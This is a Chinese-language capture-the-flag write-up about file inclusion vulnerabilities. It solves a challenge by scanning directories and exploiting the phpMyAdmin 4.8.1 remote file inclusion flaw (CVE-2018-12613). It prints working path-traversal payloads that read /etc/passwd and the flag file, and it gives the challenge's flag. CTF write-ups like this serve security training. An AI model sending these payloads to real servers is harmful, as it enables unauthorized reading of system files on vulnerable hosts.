文件包含漏洞,和SQL注入等攻击方式一样,文件包含漏洞也是一种注入型漏洞,其本质就是输入一段用户能够控制的脚本或者代码,并让服务端执行。
什么叫包含呢?以PHP为例,我们常常把可重复使用的函数写入到单个文件中,在使用该函数时,直接调用此文件,而无需再次编写函数,这一过程叫做包含。
有时候由于网站功能需求,会让前端用户选择要包含的文件,而开发人员又没有对要包含的文件进行安全考虑,就导致攻击者可以通过修改文件的位置来让后台执行任意文件,从而导致文件包含漏洞。
考点:
- 目录扫描
- phpmyadmin 4.8.1 远程文件包含漏洞(CVE-2018-12613)
-
目录扫描。使用
dirsearch
或御剑
发现phpinfo
、phpmyadmin
数据库管理页面
查看到其phpMyAdmin信息,查询到4.8.1
版本存在任意文件读取漏洞 -
构造payload:
/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../etc/passwd
可以成功执行,获取到了passwd
文件的内容,尝试查找flag
,最终payload:/phpmyadmin/?target=db_sql.php%253f/../../../../../../../../flag
得到flag{268de53f-2646-4cc6-b12d-c82942a7ac8d}
参考链接:
https://blog.csdn.net/weixin_44037296/article/details/111026271
https://blog.csdn.net/m0_46467017/article/details/126380415
phpmyadmin 4.8.1 后台getshell